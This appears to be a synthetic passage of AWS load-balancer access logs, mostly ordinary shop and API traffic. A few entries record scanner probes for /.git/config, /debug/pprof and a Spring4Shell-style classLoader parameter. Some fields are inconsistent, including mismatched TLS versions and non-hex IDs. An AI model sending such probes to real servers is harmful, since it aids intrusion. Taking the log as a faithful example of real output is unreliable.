ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b866-18e1172109fd4d949d6ecdb2" "prod-web-alb.example.com" "-" 1 2024-11-01T00:03:34.782820Z "forward" "-" "-" "10.0.185.165:443" "200" "-" "-" +http 2024-11-01T00:03:36.466599Z staging-alb 79.129.34.120:44682 100.189.108.66:8080 0.027595 0.174851 0.015508 200 200 174 4663 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b868-f81c29d74aca49b3a0f25168" "staging-alb.example.com" "-" 5 2024-11-01T00:03:36.466599Z "forward" "-" "-" "100.189.108.66:8080" "200" "-" "-" +https 2024-11-01T00:03:37.376468Z prod-web-alb 9.207.13.90:38291 10.0.173.169:443 0.012519 0.064623 0.099096 200 200 752 13117 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b869-3ce6cfe080eb474a8a715de4" "prod-web-alb.example.com" "-" 0 2024-11-01T00:03:37.376468Z "forward" "-" "-" "10.0.173.169:443" "200" "-" "-" +https 2024-11-01T00:03:38.842854Z prod-web-alb 153.113.135.77:63177 10.0.162.188:443 0.045720 0.307928 0.077271 200 200 651 10995 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b86a-a501747d8b2f4089b3831f1b" "prod-web-alb.example.com" "-" 4 2024-11-01T00:03:38.842854Z "forward" "-" "-" "10.0.162.188:443" "200" "-" "-" +https 2024-11-01T00:03:40.674502Z prod-web-alb 17.226.215.212:35969 10.0.114.154:443 0.011561 0.053563 0.034450 301 301 894 13356 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b86c-67bc6940a46a44649a37d504" "prod-web-alb.example.com" "-" 4 2024-11-01T00:03:40.674502Z "forward" "-" "-" "10.0.114.154:443" "301" "-" "-" +https 2024-11-01T00:03:41.701183Z prod-web-alb 100.39.51.36:56243 10.0.176.136:443 0.050059 0.154804 0.008875 200 200 668 8976 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b86d-b233b2a4e0a2480fbaa55b30" "prod-web-alb.example.com" "-" 7 2024-11-01T00:03:41.701183Z "forward" "-" "-" "10.0.176.136:443" "200" "-" "-" +https 2024-11-01T00:03:42.910837Z prod-api-alb 46.82.84.208:37487 10.0.179.125:443 0.096283 0.313197 0.087376 404 404 485 12637 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b86e-0dfd9c91e09244fdbec14786" "prod-api-alb.example.com" "-" 3 2024-11-01T00:03:42.910837Z "forward" "-" "-" "10.0.179.125:443" "404" "-" "-" +https 2024-11-01T00:03:44.444242Z prod-web-alb 214.47.156.116:16595 10.0.29.19:443 0.069135 0.049274 0.022364 200 200 628 3403 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b870-f101ac1feb7f427eb4283f74" "prod-web-alb.example.com" "-" 10 2024-11-01T00:03:44.444242Z "forward" "-" "-" "10.0.29.19:443" "200" "-" "-" +http 2024-11-01T00:03:45.324401Z staging-alb 54.50.255.139:30514 195.175.95.68:80 0.064738 0.124443 0.097884 200 200 190 5509 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b871-3e85ed95332547b694b584ca" "-" "-" 1 2024-11-01T00:03:45.324401Z "forward" "-" "-" "195.175.95.68:80" "200" "-" "-" +https 2024-11-01T00:03:45.512738Z prod-api-alb 98.113.242.37:43392 10.0.11.234:443 0.079523 0.194878 0.023688 200 200 248 3182 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b871-b55924fbf9284bbdb02f8c51" "prod-api-alb.example.com" "-" 0 2024-11-01T00:03:45.512738Z "forward" "-" "-" "10.0.11.234:443" "200" "-" "-" +https 2024-11-01T00:03:45.881916Z prod-api-alb 178.54.95.20:39830 10.0.130.180:443 0.098443 0.410476 0.046568 200 200 886 4147 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b871-01c5f9b31c614d069e9ae5cb" "prod-api-alb.example.com" "-" 1 2024-11-01T00:03:45.881916Z "forward" "-" "-" "10.0.130.180:443" "200" "-" "-" +https 2024-11-01T00:03:46.593852Z prod-web-alb 64.118.17.200:25178 10.0.186.73:443 0.009634 0.456323 0.029872 302 302 812 4517 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b872-d15389895140444b9490548f" "prod-web-alb.example.com" "-" 10 2024-11-01T00:03:46.593852Z "forward" "-" "-" "10.0.186.73:443" "302" "-" "-" +https 2024-11-01T00:03:47.207846Z prod-web-alb 109.114.169.70:52866 10.0.208.158:443 0.077085 0.189163 0.085890 200 200 822 2867 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b873-f5c3a95b67c0478da7f851d0" "prod-web-alb.example.com" "-" 1 2024-11-01T00:03:47.207846Z "forward" "-" "-" "10.0.208.158:443" "200" "-" "-" +https 2024-11-01T00:03:49.172151Z prod-api-alb 245.96.174.113:43800 10.0.64.180:443 0.015231 0.420327 0.076835 200 200 403 8605 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b875-44b0bc82e97745978cf7d56f" "prod-api-alb.example.com" "-" 6 2024-11-01T00:03:49.172151Z "forward" "-" "-" "10.0.64.180:443" "200" "-" "-" +https 2024-11-01T00:03:49.526522Z prod-web-alb 12.241.162.53:60750 10.0.28.182:443 0.088693 0.121681 0.009424 302 302 632 11125 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b875-91fae3ccd69342788f4d8ad0" "prod-web-alb.example.com" "-" 0 2024-11-01T00:03:49.526522Z "forward" "-" "-" "10.0.28.182:443" "302" "-" "-" +https 2024-11-01T00:03:50.532945Z prod-api-alb 59.20.206.100:37365 10.0.231.135:443 0.074096 0.198664 0.042775 200 200 177 4046 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b876-548a3041ac2545b69a9266d3" "prod-api-alb.example.com" "-" 4 2024-11-01T00:03:50.532945Z "forward" "-" "-" "10.0.231.135:443" "200" "-" "-" +https 2024-11-01T00:03:51.561786Z prod-api-alb 185.181.55.98:26314 10.0.110.104:443 0.090294 0.046561 0.002329 403 403 874 5422 "POST /.git/config HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b877-fe98981d99204323a5ff5405" "-" "-" 7 2024-11-01T00:03:51.561786Z "forward" "-" "-" "10.0.110.104:443" "403" "-" "-" +https 2024-11-01T00:03:52.196942Z prod-api-alb 94.227.133.168:18041 10.0.103.104:443 0.000437 0.193016 0.047551 200 200 142 2402 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b878-bdbdc0c38af24f369a04fdb8" "prod-api-alb.example.com" "-" 6 2024-11-01T00:03:52.196942Z "forward" "-" "-" "10.0.103.104:443" "200" "-" "-" +https 2024-11-01T00:03:53.881694Z prod-api-alb 222.112.253.131:45454 10.0.216.236:443 0.021762 0.262135 0.045404 200 200 998 4654 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b879-dc06f175b52940d2afa0ba58" "prod-api-alb.example.com" "-" 0 2024-11-01T00:03:53.881694Z "forward" "-" "-" "10.0.216.236:443" "200" "-" "-" +https 2024-11-01T00:03:54.232328Z prod-web-alb 191.77.5.134:14468 10.0.129.24:443 0.042982 0.272101 0.064562 301 301 199 1509 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b87a-8a37522f69a74d82aa83311c" "-" "-" 9 2024-11-01T00:03:54.232328Z "forward" "-" "-" "10.0.129.24:443" "301" "-" "-" +https 2024-11-01T00:03:55.187304Z prod-web-alb 142.36.104.211:23036 10.0.216.91:443 0.022049 0.178114 0.095531 200 200 647 11092 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b87b-3bd0bc277cd4411eac7f2d1b" "prod-web-alb.example.com" "-" 0 2024-11-01T00:03:55.187304Z "forward" "-" "-" "10.0.216.91:443" "200" "-" "-" +https 2024-11-01T00:03:56.884065Z staging-alb 60.242.26.29:42184 195.91.169.80:443 0.002007 0.244521 0.059724 200 200 221 11137 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b87c-81a29d2e62064c7ca391ba52" "staging-alb.example.com" "-" 8 2024-11-01T00:03:56.884065Z "forward" "-" "-" "195.91.169.80:443" "200" "-" "-" +https 2024-11-01T00:03:57.717869Z prod-web-alb 61.61.66.189:29484 10.0.164.34:443 0.010003 0.454982 0.009988 200 200 978 7089 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b87d-52a93febb20c48fcb17c1200" "prod-web-alb.example.com" "-" 10 2024-11-01T00:03:57.717869Z "forward" "-" "-" "10.0.164.34:443" "200" "-" "-" +https 2024-11-01T00:03:59.392093Z prod-web-alb 55.19.246.119:46071 10.0.65.128:443 0.076699 0.054865 0.064232 301 301 240 12995 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b87f-93496809601e4cfa94c43d25" "prod-web-alb.example.com" "-" 8 2024-11-01T00:03:59.392093Z "forward" "-" "-" "10.0.65.128:443" "301" "-" "-" +https 2024-11-01T00:03:59.894549Z prod-api-alb 38.63.155.139:42178 10.0.116.224:443 0.013612 0.338690 0.007692 200 200 621 14318 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b87f-59029540ccfc482f8da7fad3" "prod-api-alb.example.com" "-" 6 2024-11-01T00:03:59.894549Z "forward" "-" "-" "10.0.116.224:443" "200" "-" "-" +https 2024-11-01T00:04:00.350488Z staging-alb 142.30.84.70:46788 241.104.214.66:8080 0.104527 0.523821 0.049486 200 200 231 2952 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b880-66188994bcef47fcaeaee182" "staging-alb.example.com" "-" 1 2024-11-01T00:04:00.350488Z "forward" "-" "-" "241.104.214.66:8080" "200" "-" "-" +https 2024-11-01T00:04:01.185705Z prod-web-alb 64.221.156.3:18076 10.0.119.255:443 0.095567 0.119993 0.012168 200 200 736 8091 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b881-62734f6cf56744e99403bac8" "prod-web-alb.example.com" "-" 7 2024-11-01T00:04:01.185705Z "forward" "-" "-" "10.0.119.255:443" "200" "-" "-" +https 2024-11-01T00:04:02.687253Z prod-api-alb 221.225.105.146:18473 10.0.194.161:443 0.098199 0.410984 0.005822 200 200 403 9756 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b882-9208d3d55782465bad44a184" "prod-api-alb.example.com" "-" 3 2024-11-01T00:04:02.687253Z "forward" "-" "-" "10.0.194.161:443" "200" "-" "-" +https 2024-11-01T00:04:03.610649Z staging-alb 106.244.11.8:45185 31.188.229.6:443 0.056977 0.321739 0.006802 302 302 17 13484 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b883-a3905c123fd449c0bd540457" "staging-alb.example.com" "-" 7 2024-11-01T00:04:03.610649Z "forward" "-" "-" "31.188.229.6:443" "302" "-" "-" +https 2024-11-01T00:04:03.777485Z prod-web-alb 105.87.229.12:28280 10.0.113.149:443 0.093950 0.128632 0.023265 200 200 968 13081 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b883-81a8b859754e45c3ad4dc114" "prod-web-alb.example.com" "-" 7 2024-11-01T00:04:03.777485Z "forward" "-" "-" "10.0.113.149:443" "200" "-" "-" +https 2024-11-01T00:04:04.674255Z prod-web-alb 129.94.175.249:20646 10.0.254.9:443 0.038447 0.402723 0.055386 200 200 656 4528 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b884-2e39acc3b1854f16b4bd2f82" "prod-web-alb.example.com" "-" 8 2024-11-01T00:04:04.674255Z "forward" "-" "-" "10.0.254.9:443" "200" "-" "-" +https 2024-11-01T00:04:06.521044Z prod-api-alb 119.86.143.23:10446 10.0.240.235:443 0.016993 0.323085 0.091445 200 200 148 5867 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b886-82fb88eab01847cea19db5e8" "prod-api-alb.example.com" "-" 2 2024-11-01T00:04:06.521044Z "forward" "-" "-" "10.0.240.235:443" "200" "-" "-" +https 2024-11-01T00:04:07.726544Z prod-web-alb 55.109.226.44:28834 10.0.221.4:443 0.082035 0.098969 0.038494 200 200 204 7027 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b887-b9dba04969624782af0aa02f" "prod-web-alb.example.com" "-" 4 2024-11-01T00:04:07.726544Z "forward" "-" "-" "10.0.221.4:443" "200" "-" "-" +https 2024-11-01T00:04:09.134999Z prod-api-alb 119.156.113.189:50527 10.0.97.79:443 0.011655 0.209649 0.028591 302 302 147 7829 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b889-9605585a660b4f8a84db6e2e" "prod-api-alb.example.com" "-" 5 2024-11-01T00:04:09.134999Z "forward" "-" "-" "10.0.97.79:443" "302" "-" "-" +https 2024-11-01T00:04:10.557490Z prod-web-alb 191.114.10.139:28284 10.0.226.115:443 0.096664 0.259436 0.012647 301 301 229 4303 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b88a-5991957b074e497a901761ab" "prod-web-alb.example.com" "-" 2 2024-11-01T00:04:10.557490Z "forward" "-" "-" "10.0.226.115:443" "301" "-" "-" +https 2024-11-01T00:04:12.398600Z prod-web-alb 227.192.117.28:35293 10.0.159.226:443 0.009678 0.039165 0.024818 302 302 197 9345 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b88c-f57cf08a5d3f4c108020ace3" "prod-web-alb.example.com" "-" 7 2024-11-01T00:04:12.398600Z "forward" "-" "-" "10.0.159.226:443" "302" "-" "-" +https 2024-11-01T00:04:13.654904Z prod-web-alb 157.44.210.183:60330 10.0.169.149:443 0.088267 0.187087 0.043039 200 200 291 10362 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b88d-cc0a3f5fe7a14c68a871dee5" "prod-web-alb.example.com" "-" 3 2024-11-01T00:04:13.654904Z "forward" "-" "-" "10.0.169.149:443" "200" "-" "-" +https 2024-11-01T00:04:14.447166Z prod-api-alb 112.211.94.132:30740 10.0.51.236:443 0.067652 0.333470 0.003052 200 200 916 6464 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b88e-36a7b5738c7b45e99775eb65" "prod-api-alb.example.com" "-" 10 2024-11-01T00:04:14.447166Z "forward" "-" "-" "10.0.51.236:443" "200" "-" "-" +https 2024-11-01T00:04:16.363869Z prod-web-alb 45.155.205.9:54811 10.0.193.92:443 0.036508 0.263160 0.087072 500 500 70 3001 "POST /debug/pprof HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b890-bc5b64839631404595c96e36" "-" "-" 10 2024-11-01T00:04:16.363869Z "forward" "-" "-" "10.0.193.92:443" "500" "-" "-" +https 2024-11-01T00:04:16.963405Z staging-alb 82.142.180.212:45148 149.227.181.241:8080 0.103213 0.507080 0.012848 200 200 183 13603 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b890-9eb632a5733b46f3a0bd187d" "staging-alb.example.com" "-" 2 2024-11-01T00:04:16.963405Z "forward" "-" "-" "149.227.181.241:8080" "200" "-" "-" +https 2024-11-01T00:04:17.906101Z staging-alb 190.9.199.206:49407 241.143.150.96:443 0.085476 0.001594 0.119743 404 404 97 2986 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b891-538a7eb0ba324c06b7b997c0" "staging-alb.example.com" "-" 3 2024-11-01T00:04:17.906101Z "forward" "-" "-" "241.143.150.96:443" "404" "-" "-" +https 2024-11-01T00:04:18.464368Z prod-web-alb 11.107.229.98:55177 10.0.171.104:443 0.038341 0.353623 0.088573 200 200 239 6990 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b892-7aa3a123fdcf4ea6a5aa4c53" "prod-web-alb.example.com" "-" 6 2024-11-01T00:04:18.464368Z "forward" "-" "-" "10.0.171.104:443" "200" "-" "-" +https 2024-11-01T00:04:20.388329Z prod-api-alb 226.241.155.210:53967 10.0.186.235:443 0.044222 0.480689 0.058343 404 404 926 11274 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b894-b3d9b2c6910549339f186aaf" "prod-api-alb.example.com" "-" 0 2024-11-01T00:04:20.388329Z "forward" "-" "-" "10.0.186.235:443" "404" "-" "-" +https 2024-11-01T00:04:21.279895Z prod-api-alb 61.180.176.140:50612 10.0.62.122:443 0.087454 0.106964 0.058953 302 302 771 5778 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b895-745d81cd11904976b9c427d2" "prod-api-alb.example.com" "-" 8 2024-11-01T00:04:21.279895Z "forward" "-" "-" "10.0.62.122:443" "302" "-" "-" +https 2024-11-01T00:04:22.986902Z prod-web-alb 45.155.205.66:47118 10.0.170.149:443 0.017318 0.448510 0.047488 404 404 492 4232 "PUT /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b896-90b9ac70cc654a1fb9d876fb" "-" "-" 3 2024-11-01T00:04:22.986902Z "forward" "-" "-" "10.0.170.149:443" "404" "-" "-" +https 2024-11-01T00:04:23.179822Z prod-api-alb 202.218.112.165:50508 10.0.9.206:443 0.085364 0.091489 0.093908 302 302 514 8279 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b897-1054e69b2de345c4b8393f06" "prod-api-alb.example.com" "-" 10 2024-11-01T00:04:23.179822Z "forward" "-" "-" "10.0.9.206:443" "302" "-" "-" +http 2024-11-01T00:04:24.504659Z staging-alb 84.60.58.175:27285 237.23.131.234:80 0.064546 0.289713 0.007964 200 200 814 4739 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b898-8458c3c5a184470186709e0a" "staging-alb.example.com" 